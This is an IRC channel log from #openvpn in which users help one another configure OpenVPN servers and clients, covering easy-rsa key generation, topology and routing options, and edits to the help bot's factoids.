19:20 < EugeneKay> That's highly build-dependant :-p
19:20 < EugeneKay> !dev
19:20 <@vpnHelper> "dev" is https://lists.sourceforge.net/lists/listinfo/openvpn-devel to sign up for devel mail list
19:21 < EugeneKay> Eh, not what I was after
19:21 < AlbinoGeek> EugeneKay: Perhaps, but " /usr/share/doc/openvpn-2.0" doesn't help any redhat person, since /usr/local/share is used for docs.  Somewhere OpenVPN didn't even put its docs.
19:21 < AlbinoGeek> On my system, OpenVPN didn't even comes with docs.  None in the tar, none in the RPM, none even with yum.
19:21 < EugeneKay> In the packages it is in /usr/share/openvpn/
19:21 < AlbinoGeek> So.. when the guide references "default config" there are none.
19:22 < AlbinoGeek> EugeneKay: Nope
19:22 < EugeneKay> It is in.... well, lemme see which package this is
19:22 < AlbinoGeek> EugeneKay: /usr/share/openvpn/plugins/lib/ only has two files
19:22 < AlbinoGeek> And that's literally the only thing there.
19:22 < AlbinoGeek> :P
19:22 < EugeneKay> In any case, this is more of a #openvpn-devel question
19:23 < EugeneKay> If you're willing to take on these things and genuinely make it better I'm sure they'll accept your work
19:23 < EugeneKay> But it's a non-trivial thing :-p
19:23 < EugeneKay> I personally only care as far as getting people up & running
19:23 < EugeneKay> The openvpn package I use is from EPEL
19:23 < AlbinoGeek> ^ It's not that hard, writing technical documents is something I have to do quite often, and there's nothing technical about a technical document you submit to computer illiterate people (something I do quite frequently.)
19:23 < AlbinoGeek> :P
19:23 < EugeneKay> I'm on a Scientific Linux 6 system
19:23 < AlbinoGeek> Ahh
19:24 < AlbinoGeek> Scientific Linux 6 being the only sane rhel6 core
19:24 < EugeneKay> Repoforge also provides an openvpn rpm, through 2.2.2
19:24 < EugeneKay> But I only use them when I HAVE to.
19:24 < AlbinoGeek> EugeneKay: 2.3 has many nice features I needed.
19:24 < AlbinoGeek> And compiling something is trivial in linux.
19:24 < EugeneKay> I haven't bothered to rebuild the srpm with 2.3 yet
19:25 < EugeneKay> I don't need ipv6 tunneling, though I ought to
19:25 < AlbinoGeek> wget url; tar xfz file; ./configure; make; make docs; make install
19:25 < AlbinoGeek> Rebuilding the RPM actually failed for me on rhel5.  No error.
19:25 < EugeneKay> I won't judge CentOS vs SL; aside from the fact that SL6 was released months before CentOS6(the reason I moved over)
19:25 < AlbinoGeek> So I just compiled it.
19:25 < EugeneKay> I prefer to stay within the package manager when possible
19:25 < EugeneKay> It helps with sanity
19:25 < AlbinoGeek> Hmm, what is one of the default doc files names ?
19:26 < EugeneKay> No clue. I always just refer to the man page
19:26 < AlbinoGeek> Found it
19:26 < EugeneKay> Really though, see -devel :-p
19:26 < EugeneKay> They know a LOT more about all this than I do
19:26 < AlbinoGeek> On CentOS5 when using compiled docs it sits in: /usr/share/doc/openvpn-2.3.0/sample-config-files/
19:26 < EugeneKay> Sounds right
19:27 -!- raidz is now known as raidz_away
19:27 < AlbinoGeek> So, without a "local" line it will bind to 0.0.0.0 yeah?
19:27 < EugeneKay> Yup
19:28 < AlbinoGeek> And should I need to push any settings for a standard setup?
19:28 < EugeneKay> WHere "standard" means "minimum", correct.
19:29 < EugeneKay> The most basic of VPNs is just a p2p link
19:29 < AlbinoGeek> And what of redirect-gateway ?
19:29 < EugeneKay> Note: I ALWAYS specify "topology subnet"
19:29 < EugeneKay> !topology
19:29 <@vpnHelper> "topology" is (#1) it is possible to avoid the !/30 behavior if you use 2.1+ with the option: topology subnet This will end up being default in later versions. or (#2) Clients will receive addresses ending in .2, .3, .4, etc, instead of being divided into 2-host subnets. or (#3) See http://osdir.com/ml/network.openvpn.devel/2005-09/msg00020.html for more history on this.
19:29 < EugeneKay> !/30
19:29 <@vpnHelper> "/30" is (#1) Default behaviour assigns a /30 subnet(4 addresses) to each peer. See http://goo.gl/6vemm for background or (#2) you can avoid this behavior by reading !topology or (#3) by default, first client is .6, then .10 .14 .18 etc or (#4) use openvpn --show-valid-subnets to see the subnets you can use in net30 or (#5) tl;dr Windows sucks, use --topology subnet in your server.conf
19:29 < EugeneKay> That's just a quick command to do the commonly-wanted "send all my internet traffic via the vpn"
19:29 < EugeneKay> !redirect
19:29 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
19:29 <@vpnHelper> http://ircpimps.org/redirect.png
19:30 < AlbinoGeek> Well, ipforward is already configured in sysctl, what else may i have to do?
19:30 < AlbinoGeek> I have enabled push for redirtect-gateway and enabled iptables masquarade.
19:31 < EugeneKay> Flowchart ;-)
19:31 < AlbinoGeek> Reading...
19:31 < AlbinoGeek> "VPN IP" being the default gateway when connected as seen by the client?
19:32 < EugeneKay> The IP address on the VPN link
19:32 < EugeneKay> eg, 10.8.0.1
19:32 < EugeneKay> If you use --topology subnet it gets a LOT easier to work with
19:32 < EugeneKay> Hence why I always use it. Always.
19:32 < AlbinoGeek> Well, I have no access to options sent to openvpn.
19:32 < EugeneKay> There are no good reasons to stick with !/30
19:32 < AlbinoGeek> (only the config file, and it doesn't take "topology" as an operand for whatever reason)
19:33 < EugeneKay> The config file? A line containing just "topology subnet" should do it find
19:33 -!- Orbi [~opera@anon-149-82.vpn.ipredator.se] has quit [Quit: Orbi]
19:33 < AlbinoGeek> EugeneKay: Yeah, it's erroring on that line, moment while I paste logs
19:33 < EugeneKay> !paste
19:33 <@vpnHelper> "paste" is "pastebin" is (#1) please paste anything with more than 5 lines into pastebin or a similar website, or (#2) ie: www.pastebin.ca
19:33 < AlbinoGeek> Saw that one already in the topic :)  !logs
19:34 < EugeneKay> !forget paste 2
19:34 <@vpnHelper> Error: You don't have the factoids.forget capability. If you think that you should have this capability, be sure that you are identified before trying again. The 'whoami' command can tell you if you're identified.
19:34 < AlbinoGeek> !whoami
19:34 <@vpnHelper> I don't recognize you.
19:34 < AlbinoGeek> Lol
19:34 < AlbinoGeek> EugeneKay: Seems you need to auth :)
19:34 < EugeneKay> !learn paste as https://gist.github.com or http://www.pastebin.ca/ are great places to use
19:34 <@vpnHelper> Error: You don't have the factoids.learn capability. If you think that you should have this capability, be sure that you are identified before trying again. The 'whoami' command can tell you if you're identified.
19:34 < EugeneKay> What the
19:34 < EugeneKay> Gah, brb
19:34 < EugeneKay> I forget I changed my hostmask
19:35 < AlbinoGeek> EugeneKay: I wouldn't say pastebin.ca to be honest, probably gist.github.com or pastie.org
19:35 -!- EugeneKay [eugene@go-without.me] has quit [Quit: ZNC - http://znc.in]
19:35 -!- EugeneKay [eugene@itvends.com] has joined #openvpn
19:35 < AlbinoGeek> Welcome back.
19:35 < AlbinoGeek> itvends
19:35 < AlbinoGeek> ahah
19:35 < EugeneKay> !paste
19:35 <@vpnHelper> "paste" is "pastebin" is (#1) please paste anything with more than 5 lines into pastebin or a similar website, or (#2) ie: www.pastebin.ca
19:36 < EugeneKay> ;-)
19:36 < EugeneKay> Check the site
19:36 < EugeneKay> !forget paste 2
19:36 <@vpnHelper> Joo got it.
19:36 < AlbinoGeek> Eww, pastebin.ca is literally pastebinscript from pastebin.com :(
19:36 < EugeneKay> !learn paste as https://gist.github.com
19:36 <@vpnHelper> Joo got it.
19:36 < EugeneKay> !paste
19:36 <@vpnHelper> "paste" is https://gist.github.com
19:36 < EugeneKay> What the
19:36 < EugeneKay> !forget paste
19:36 <@vpnHelper> Joo got it.
19:36 < AlbinoGeek> !pastebin
19:36 <@vpnHelper> "pastebin" is please paste anything with more than 5 lines into pastebin or a similar website
19:36 < AlbinoGeek> ^
19:37 < AlbinoGeek> That's why
19:37 < EugeneKay> Oh, that got fixed finally
19:37 < AlbinoGeek> "paste is pastebin"
19:37 < EugeneKay> Ya
19:37 < AlbinoGeek> !l
19:37 < EugeneKay> Now I get to try to remember how to do this
19:37 < AlbinoGeek> Okay good, it's not that wildcardy
19:37 < AlbinoGeek> !log
19:37 <@vpnHelper> Error: You don't have the owner capability. If you think that you should have this capability, be sure that you are identified before trying again. The 'whoami' command can tell you if you're identified.
19:37 < EugeneKay> It's a very restricted bot :-p
19:37 < AlbinoGeek> -_-  Too close to the name of a factoid there.
19:37 < AlbinoGeek> !logs
19:37 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
19:38 < AlbinoGeek> YUS Starting openvpn:                                          [  OK  ]
19:38 < EugeneKay> !learn pastebin as https://gist.github.com is a recommended place to use
19:38 <@vpnHelper> Joo got it.
19:38 < EugeneKay> !pastebin
19:38 <@vpnHelper> "pastebin" is (#1) please paste anything with more than 5 lines into pastebin or a similar website or (#2) https://gist.github.com is a recommended place to use
19:38 < AlbinoGeek> !paste
19:38 < EugeneKay> !learn paste as @!pastebin
19:38 <@vpnHelper> Joo got it.
19:38 < EugeneKay> !paste
19:38 <@vpnHelper> "paste" is @!pastebin
19:38 < EugeneKay> Nope
19:38 < AlbinoGeek> Hahah
19:38 < EugeneKay> !forget paste
19:38 <@vpnHelper> Joo got it.
19:38 < AlbinoGeek> "pastebin"
19:39 < EugeneKay> !learn paste as pastebin
19:39 <@vpnHelper> Joo got it.
19:39 < EugeneKay> !paste
19:39 <@vpnHelper> "paste" is pastebin
19:39 < AlbinoGeek> "pastebin"
19:39 < EugeneKay> Ohhh gotcha
19:39 < EugeneKay> !forget paste
19:39 <@vpnHelper> Joo got it.
19:39 < EugeneKay> !learn paste as "pastebin"
19:39 <@vpnHelper> Joo got it.
19:39 < AlbinoGeek> !paste
19:39 < EugeneKay> !paste
19:39 <@vpnHelper> "paste" is pastebin
19:39 <@vpnHelper> "paste" is pastebin
19:39 < EugeneKay> Grrr
19:39 < AlbinoGeek> LOL angry bot is angry
19:39 < EugeneKay> !forget pastebin
19:39 <@vpnHelper> Error: 2 factoids have that key.  Please specify which one to remove, or use * to designate all of them.
19:39 < EugeneKay> Gah no
19:39 < EugeneKay> !forget paste
19:39 <@vpnHelper> Joo got it.
19:39 < EugeneKay> !learn paste as [pastebin]
19:39 <@vpnHelper> Joo got it.
19:39 < EugeneKay> !paste
19:39 <@vpnHelper> "paste" is "pastebin" is (#1) please paste anything with more than 5 lines into pastebin or a similar website or (#2) https://gist.github.com is a recommended place to use
19:39 < AlbinoGeek> There we go
19:39 < EugeneKay> THERE we go.
19:40 < EugeneKay> Anyway
19:40 < AlbinoGeek> Test
19:40 < AlbinoGeek> Okay so
19:40 < EugeneKay> Back to the point, logs?
19:40 < AlbinoGeek> OpenVPN is now running
19:40 < AlbinoGeek> Client and server
19:40 < AlbinoGeek> Client is just spamming the & out of my screens
19:40 < AlbinoGeek> Finally sits at Initialization Sequence Completed
19:40 < AlbinoGeek> Okay so , flowchart time
19:40 < AlbinoGeek> 10.8.0.1 can be pinged.
19:41 < AlbinoGeek> Redirect-gateway is enabled.
19:41 < AlbinoGeek> 8.8.8.8 can be pinged.
19:41 < AlbinoGeek> Google.com can be pinged.
19:41 < EugeneKay> curl http://util.khresear.ch/myip?o=plain
19:41 < EugeneKay> (just my myip script)
19:41 < AlbinoGeek> http://secure-computing.net/ip.php shows my server's IP.
19:41 <@vpnHelper> Title: SCN: SCN (at secure-computing.net)
19:41 < EugeneKay> Everything sounds good, then
19:42 < AlbinoGeek> "it works"
19:42 < AlbinoGeek> Right, mastered Procedural Flowchart Analysis 101
19:42 < EugeneKay> So, what's the problem?
19:42 < AlbinoGeek> Now to try a real connection, voice control protocol; ICMP/IPX/TCP and UDP; bi-directional
19:42 < AlbinoGeek> brb while I try this...
19:43 < EugeneKay> Good luck
19:43 < AlbinoGeek> Literally
19:43 < ngharo> ipx, no.
19:43 < AlbinoGeek> Something tells me I'll need TAP and BRIDGED
19:43 < EugeneKay> !layer2
19:43 <@vpnHelper> "layer2" is (#1) you are using tap, what specific layer2 protocol do you need to work over the vpn? or (#2) Bridging looks like a good choice to people who don't know how to set up IP routing, but to learn routing is generally far better or (#3) protocols that use layer2 communicate by MAC address, not IP address
19:44 < EugeneKay> You nearly never need bridging
19:44 < AlbinoGeek> Oh wait a second, what the * is going on.
19:44 < AlbinoGeek> If I connect to the server's IP on anything, it uses my real connection instead of the VPN?
19:44 < EugeneKay> Yes
19:44 < AlbinoGeek> Is that just to prevent looping ?
19:44 < EugeneKay> Yup.
19:44 < AlbinoGeek> Okay so, I should be using 10.8.0.1 I guess?
19:44 < EugeneKay> Yup.
19:45 < ngharo> sure
19:46 < EugeneKay> Indeed
19:46 < AlbinoGeek> IPX is working in TUN... this doesn't make sense?
19:46 < EugeneKay> Between what?
19:46 < AlbinoGeek> Everything in your docs says "NO THIS WON'T WORK"
19:46 < AlbinoGeek> Between myself and the server, and between two clients on the same VPN.
19:46 < AlbinoGeek> (both using the server as a VPN *)
19:47 < EugeneKay> Don't confusing routed and bridged modes with tun vs tap devices
19:47 < EugeneKay> You can pass layer2 packets over a tap device running in routed mode
19:47 < AlbinoGeek> Well, it's tun and routed right now, and IPX is working.
19:48 < AlbinoGeek> Both client and server are practically using default configs, just with paths changed.
19:48 < EugeneKay> o.O
19:48 < ngharo> 0.o indeed
19:48 < AlbinoGeek> I will not complain!
19:48 < EugeneKay> I'm sure there's something going on
19:48 < EugeneKay> Maybe it's a 2.3.x thing
19:49 < EugeneKay> In any case, if it works, stop yer bitchin
19:49 < ngharo> sounds like a bug unfortunately if it does work
19:49 < AlbinoGeek> I had to enable ipv6 ipforward in sysctl to get things working, but that was common sense since it said to do it for ipv4
19:50 < AlbinoGeek> Is it possible to tunnel IPX though another protocol ?
19:50 < EugeneKay> Layer2 :-p
19:50 < AlbinoGeek> EugeneKay: Yes, but without Layer2?  ie: abstractly
19:50 < AlbinoGeek> (just thinking out loud) ; kinda how "virtual ipv6" was for a while?
19:50 < AlbinoGeek> Otherwise I have 0 idea how this is working ,and won't complain.
19:51 < AlbinoGeek> .
19:51 < AlbinoGeek> ^whois
19:51 < AlbinoGeek> I am AcademyInt@academyintl/director/AcademyIntl
19:52 < AlbinoGeek> Does anyone see my hostname or anything else, or does FOSS cut that out?
19:52 < EugeneKay> Shows as that here too
19:52 < EugeneKay> Freenode's cloak cuts it out
19:52 < AlbinoGeek> Ahh, okay.  I won't be able to check if IRC kicked over then.
19:52 < EugeneKay> If you /whois yourself it should say "is connection from"
19:52 -!- wh1p [~wh1pl4sh@host-2-100-148-6.as13285.net] has joined #openvpn
19:52 -!- wh1p [~wh1pl4sh@host-2-100-148-6.as13285.net] has quit [Client Quit]
19:53 < EugeneKay> connecting*
19:53 < AlbinoGeek> AlbinoGeek's info: is connecting from *@you.would.like.to.know 127.0.0.1
19:53 < EugeneKay> I can't spell tonight. Need more booze
19:53 < AlbinoGeek> I'm pretty sure my client removes that :x
19:53 < AlbinoGeek> This client is more skiddy than a real IRC client, so I'm not surprised it filters / randomly changes things.
19:54 < EugeneKay> Aha
19:54 < EugeneKay> HexChat shows it fine
19:54 < AlbinoGeek> EugeneKay: Ahh, so you know what a Skid is?  :P
19:54 < EugeneKay> Nope
19:54 < AlbinoGeek> So, I can't use the same client keypair on another machine, can I?
19:54 < AlbinoGeek> What will happen if I do?
19:55 < EugeneKay> You can. If you connect, the default is to knock off any previously-connected clients(identified by IP+source port) using the same common-name
19:55 < EugeneKay> Look at --duplicate-cn
19:55 < AlbinoGeek> Well, username-as-cn is on, so that'd be a bad idea to try I guess.
19:56 < EugeneKay> Yeah
19:57 < AlbinoGeek> EugeneKay: Uhoh, it won't let me make more client keys.
19:57 < EugeneKay> o.O ?
19:57 < AlbinoGeek> That big "reset everything" error
19:57 < AlbinoGeek> EugeneKay: http://pastie.org/5722988
19:58 < EugeneKay> Oh
19:58 < EugeneKay> Just run 'source ./vars'
19:58 < AlbinoGeek> (because I've already built my dh ?)
19:58 < EugeneKay> All it's saying is that your current bash session doesn't have the right set of env vars defined
19:58 < AlbinoGeek> ./vars: No such file or directory
19:58 < AlbinoGeek> there's a "vars" file in the cd
19:58 < EugeneKay> Did you copy easy-rsa someplace? :-p
19:58 < EugeneKay> You should have a vars file
19:59 < AlbinoGeek> There is a vars file, I can see it in ls-lisa
19:59 < EugeneKay> That's the one you wanna source
19:59 < EugeneKay> It's just some basic stuff about your CA
19:59 < AlbinoGeek> NOTE: If you run ./clean-all, I will be doing a rm -rf on /etc/openvpn/easy-rsa/2.0/keys
19:59 < AlbinoGeek> Just a warning I guess?
19:59 < EugeneKay> So don't do that
19:59 < EugeneKay> Ya. The HOWTO says to do clean-all
19:59 < EugeneKay> If you're just adding a new keypair, DONT do that
19:59 < AlbinoGeek> Yeah, obvs :)
19:59 < EugeneKay> (another place the docs could use work)
20:00 < AlbinoGeek> I know what rm-rf does, unlike some Ubuntu people....
20:00 < EugeneKay> Hehehe
20:00 < AlbinoGeek> Comitting.. and downloading.  Nice.
20:00 < AlbinoGeek> Hopefully this works, if so then I'll be out of your hair.
20:01 < EugeneKay> You seem to know what you're talking about. A welcome respite
20:01 < EugeneKay> Feel free to stick around ;-)
20:01 < AlbinoGeek> How lively is this channel exactly, OpenVPN seems to have scared off many of its prospective users by being so cryptic in its setup instructions.
20:02 < AlbinoGeek> Myself included for a while.
20:02 < EugeneKay> We get a few people a day
20:02 < EugeneKay> Networking is not for the light-of-heart
20:02 < EugeneKay> !101
20:02 <@vpnHelper> "101" is This channel is not a '101' replacement for any of the following topics or others: Networking, Firewalls, Routing, Your OS, Security, etc etc
20:02 < EugeneKay> We're not scared to point to that ^
20:03 < AlbinoGeek> Perhaps, but at least some documentation should be there :).  I suppose I'll have to submit these changes.
20:04 < AlbinoGeek> I've chosen to head the docs I write in a sense of "howto" from your operating system and distro point of view, with all pathnames and commands on that page listed only for your selected distro and OS to prevent confusion.
20:04 < AlbinoGeek> I've finished CentOS 5 for client and server, now writing Windows 7 client/server docs.
20:04 < EugeneKay> !windows
20:04 <@vpnHelper> "windows" is (#1) computers are like air conditioners, they work well until you open windows. or (#2) http://secure-computing.net/files/windows.jpg for funny or (#3) http://secure-computing.net/files/windows_2.jpg for more funny
20:05 < AlbinoGeek> Both jpg links are dead.
20:05 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
20:05  * EugeneKay smacks ecrist 
20:05 < AlbinoGeek> Needs more funny
20:06 -!- cyberspace- [20253@ninthfloor.org] has quit [Quit: leaving]
20:06 < AlbinoGeek> Interesting, 64bit OpenVPN windows does not run on Windows 7 64bit Enterprise
20:06 < AlbinoGeek> :/
20:06 < AlbinoGeek> Architecture mismatch error.
20:06 < EugeneKay> There's a x64 build nowadays?
20:06 < EugeneKay> WOwza
20:06 < AlbinoGeek> Ehh, the 32bit works fine.
20:07 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
20:08 < AlbinoGeek> EugeneKay: And what were you talking about /30 earlier?  I didn't do your topology thing (never got around to it) and my clients are being named sanely
20:08 < AlbinoGeek> .10  .11  .12  .13 so far.
20:08 < EugeneKay> o.O
20:08 < EugeneKay> !/30
20:08 <@vpnHelper> "/30" is (#1) Default behaviour assigns a /30 subnet(4 addresses) to each peer. See http://goo.gl/6vemm for background or (#2) you can avoid this behavior by reading !topology or (#3) by default, first client is .6, then .10 .14 .18 etc or (#4) use openvpn --show-valid-subnets to see the subnets you can use in net30 or (#5) tl;dr Windows sucks, use --topology subnet in your server.conf
20:08 < EugeneKay> AFAIK they didn't change the default in 2.3
20:08 < EugeneKay> But I haven't used it, so.
20:08 < AlbinoGeek> I don't think they have.
20:09 < AlbinoGeek> Mind you some machines have ipv4 disabled, not entirely sure why they are still being assigned an ipv4 address.
20:09 < AlbinoGeek> Nevermind, ipv4 disabled on the physical NIC, not the virtual tuns.
20:09 -!- Valcorb [~Valcorb@94-226-106-113.access.telenet.be] has quit []
20:10 <+rob0> Hmmm. "OpenVPN seems to have scared off many of its prospective users," well no, I have not seen evidence of that; "by being so cryptic in its setup instructions." No, this is not so. The HOWTO and manual and mini-howto docs are excellent.
20:12 < AlbinoGeek> rob0: Ehh, when the second step tells you about routed / bridged ; that's enough to scare off most.
20:12 <+rob0> It simply means you need to learn more about basic networking before you step into advanced networking.
20:56 -!- p47 [~Marcos1@189.232.114.214] has joined #openvpn
21:01 -!- Carbon_Monoxide [~cmonxide@058176022144.ctinets.com] has joined #openvpn
21:01 -!- cjs226 [~cjs226@99-61-64-43.lightspeed.austtx.sbcglobal.net] has quit []
21:05 -!- p47 [~Marcos1@189.232.114.214] has quit [Quit: Saliendo]
21:34 -!- amir [~amir@unaffiliated/amir] has quit [Ping timeout: 260 seconds]
21:34 -!- amir [~amir@unaffiliated/amir] has joined #openvpn
22:00 -!- cornfeedhobo [~cornfeedh@unaffiliated/cornfeed] has joined #openvpn
22:07 -!- Carbon_Monoxide [~cmonxide@058176022144.ctinets.com] has quit [Ping timeout: 252 seconds]
22:13 -!- Carbon_Monoxide [~cmonxide@058176022144.ctinets.com] has joined #openvpn
23:17 -!- brute11k1 [~brute11k@89.249.230.101] has quit [Quit: Leaving.]
23:23 -!- cjs226 [~cjs226@99-61-64-43.lightspeed.austtx.sbcglobal.net] has joined #openvpn
23:24 -!- JPeterson [~JPeterson@s213-103-211-58.cust.tele2.se] has quit [Ping timeout: 256 seconds]
23:29 -!- JPeterson [~JPeterson@s213-103-211-58.cust.tele2.se] has joined #openvpn
23:30 -!- JPeterson [~JPeterson@s213-103-211-58.cust.tele2.se] has quit [Excess Flood]
23:31 -!- JPeterson [~JPeterson@s213-103-211-58.cust.tele2.se] has joined #openvpn
23:34 -!- MeanderingCode_ [~Meanderin@71-213-175-129.albq.qwest.net] has joined #openvpn
23:34 -!- MeanderingCode [~Meanderin@71-213-175-129.albq.qwest.net] has quit [Ping timeout: 248 seconds]
23:35 <@novaflash> rob0; i had a guy asking me to teamviewer with him - 10 times before i kicked him - to set up a vpn server for him... but the guy didn't even know what a subdomain was.
23:55 -!- zeeshoem is now known as mnathani
--- Day changed Sat Jan 19 2013
00:43 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Remote host closed the connection]
00:45 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
01:28 -!- djc [~djc@gentoo/developer/djc] has joined #openvpn
01:28 < djc> do people here know about the iOS app, or should I sent email?
01:28 < djc> my route-gateway stuff doesn't seem to work on my iPad
01:29 -!- Cpt-Oblivious [~Cpt-Obliv@a202101.upc-a.chello.nl] has quit []
01:29 < djc> i.e. 'push "route 10.33.3.0 255.255.255.0"' on the server
01:30 < djc> but when I try to go to 10.33.3.12 in the browser, it can't find it
01:46 -!- kunji [~kunji@c-68-60-83-138.hsd1.mi.comcast.net] has left #openvpn []
01:53 -!- ducblangis [~Ducblangi@24-117-207-111.cpe.cableone.net] has joined #openvpn
01:54 -!- mattock is now known as mattock_afk
01:59 < AlbinoGeek> !layer2
01:59 <@vpnHelper> "layer2" is (#1) you are using tap, what specific layer2 protocol do you need to work over the vpn? or (#2) Bridging looks like a good choice to people who don't know how to set up IP routing, but to learn routing is generally far better or (#3) protocols that use layer2 communicate by MAC address, not IP address
02:00 < djc> well, I'm not using tap, and I know a bit of routing
02:00 < djc> so that's not very helpful
02:10 -!- Wulf [~Wulf@unaffiliated/wulf] has quit [Ping timeout: 252 seconds]
02:21 -!- Carbon_Monoxide [~cmonxide@058176022144.ctinets.com] has quit [Ping timeout: 245 seconds]
02:38 -!- Carbon_Monoxide [~cmonxide@058176022144.ctinets.com] has joined #openvpn
02:52 -!- Porkepix [~Porkepix@lns-bzn-20-82-64-31-107.adsl.proxad.net] has quit [Ping timeout: 245 seconds]
02:56 -!- Porkepix [~Porkepix@lns-bzn-20-82-64-31-107.adsl.proxad.net] has joined #openvpn
03:03 -!- brute11k [~brute11k@89.249.230.101] has joined #openvpn
03:15 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has quit [Ping timeout: 276 seconds]
03:26 < AlbinoGeek> djc: Sorry, I was trying to find something myself.
03:26 -!- novaflash_away [~novaflash@vpnserver1.jellemaautomatisering.nl] has joined #openvpn
03:26 -!- novaflash_away is now known as novaflash
03:32 -!- novaflash [~novaflash@vpnserver1.jellemaautomatisering.nl] has quit [Changing host]
03:32 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has joined #openvpn
03:32 -!- mode/#openvpn [+o novaflash] by ChanServ
03:38 -!- Wulf [~Wulf@unaffiliated/wulf] has joined #openvpn
03:38 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
03:38 -!- ade_b [~Ade@kista.guest.accome.com] has joined #openvpn
03:38 -!- ade_b [~Ade@kista.guest.accome.com] has quit [Changing host]
03:38 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
03:47 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 240 seconds]
04:07 -!- ade_b [~Ade@kista.guest.accome.com] has joined #openvpn
04:07 -!- ade_b [~Ade@kista.guest.accome.com] has quit [Changing host]
04:07 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
04:08 -!- dydzEz2 [dydzEz2@c-67-163-13-78.hsd1.il.comcast.net] has joined #openvpn
04:11 -!- swat [~swat@ubuntu/member/swat] has quit [Quit: Leaving.]
04:17 < EugeneKay> djc - not a clue about iOS. Sorry.
04:55 -!- Carbon_Monoxide [~cmonxide@058176022144.ctinets.com] has quit [Ping timeout: 245 seconds]
05:28 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
05:28 -!- mode/#openvpn [+v s7r] by ChanServ
05:39 -!- eutheria [~euther0a@cpc2-cmbg15-2-0-cust990.5-4.cable.virginmedia.com] has joined #openvpn
05:43 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
05:44 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
05:49 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
05:51 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
05:53 -!- havoc [~havoc@neptune.chaillet.net] has quit [Ping timeout: 255 seconds]
06:04 -!- Thermi_ [~Thermi@HSI-KBW-078-043-018-016.hsi4.kabel-badenwuerttemberg.de] has quit [Quit: ZNC - http://znc.in]
06:10 -!- Thermi [~Thermi@HSI-KBW-078-043-018-016.hsi4.kabel-badenwuerttemberg.de] has joined #openvpn
06:37 -!- Valcorb [~Valcorb@199.229.249.189] has joined #openvpn
06:48 -!- Fritzah [u291187@ool-44c4f941.dyn.optonline.net] has joined #openvpn
07:00 -!- Fritzah [u291187@ool-44c4f941.dyn.optonline.net] has quit [Remote host closed the connection]
07:05 -!- Valcorb [~Valcorb@199.229.249.189] has quit [Ping timeout: 255 seconds]
07:05 -!- Fritzah [u291187@ool-44c4f941.dyn.optonline.net] has joined #openvpn
07:05 -!- Valcorb [~Valcorb@94-226-106-113.access.telenet.be] has joined #openvpn
07:10 -!- Valcorb [~Valcorb@94-226-106-113.access.telenet.be] has quit [Read error: Connection reset by peer]
07:16 -!- Fritzah [u291187@ool-44c4f941.dyn.optonline.net] has left #openvpn []
07:17 < Freeaqingme> With 2.2, can I use a tunnel (tun, no tap) that is set up over ipv4, and which tunnels ipv6 traffic?
07:19 < Wulf> Freeaqingme: probably
07:20 < Wulf> I never tried but I'd be really surprised if it does not work
07:20 < Freeaqingme> well, there's this: http://openvpn.net/index.php/open-source/faq/77-server/287-is-ipv6-support-plannedin-the-works.html
07:20 <@vpnHelper> Title: Is IPv6 support planned/in the works? (at openvpn.net)
07:21 < Freeaqingme> so if it is supported, it is really recently. But I'm not sure if the article implies if the limitations apply to <2.2rc2, or that they also apply to 2.2
07:21 < Wulf> oh.
07:22 < Wulf> then go and use 2.3; it was released not long ago
07:22 < Freeaqingme> I'm seeing that just now! if I can find an  ubuntu package..
07:23 < Wulf> make your own
07:24 < Freeaqingme> Wulf, got it ;) http://repos.openvpn.net/repos/apt/conf/repos.openvpn.net-precise-snapshots.txt
07:26 -!- Valcorb [~Valcorb@199.229.249.189] has joined #openvpn
07:33 -!- Valcorb [~Valcorb@199.229.249.189] has quit [Ping timeout: 256 seconds]
07:39 -!- nucleo [nucleo@fedora/nucleo] has joined #openvpn
07:40 -!- havoc [~havoc@neptune.chaillet.net] has joined #openvpn
08:37 -!- scyld [~scyld@unaffiliated/wasyl] has joined #openvpn
08:38 < plaisthos> Freeaqingme: no 2.2 does not that
08:38 < plaisthos> Freeaqingme: the ubuntu packages includes the ipv6 patches
08:38 < plaisthos> so should work we as well
08:51 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Ping timeout: 244 seconds]
09:03 -!- JackWinter2 [~jack@vodsl-4655.vo.lu] has joined #openvpn
09:04 -!- emmanuelux [~emmanuelu@vpn7.freedom-ip.com] has joined #openvpn
09:08 -!- JackWinter2 [~jack@vodsl-4655.vo.lu] has quit [Client Quit]
09:22 -!- Qianyi [~Qianyi@180.155.14.35] has joined #openvpn
09:22 < Qianyi> hi
09:22 < Qianyi> can't visit openvpn.net, could anyone please provide another link to download the newest beta for windows of openvpn?
09:22 < Qianyi> :)
09:34 -!- mattock_afk is now known as mattock
09:39 -!- Carbon_Monoxide [~cmonxide@058176022144.ctinets.com] has joined #openvpn
09:40 -!- cjs226 [~cjs226@99-61-64-43.lightspeed.austtx.sbcglobal.net] has quit [Ping timeout: 256 seconds]
09:42 -!- cjs226 [~cjs226@99-61-64-43.lightspeed.austtx.sbcglobal.net] has joined #openvpn
10:00 -!- Valcorb [~Valcorb@94-226-106-113.access.telenet.be] has joined #openvpn
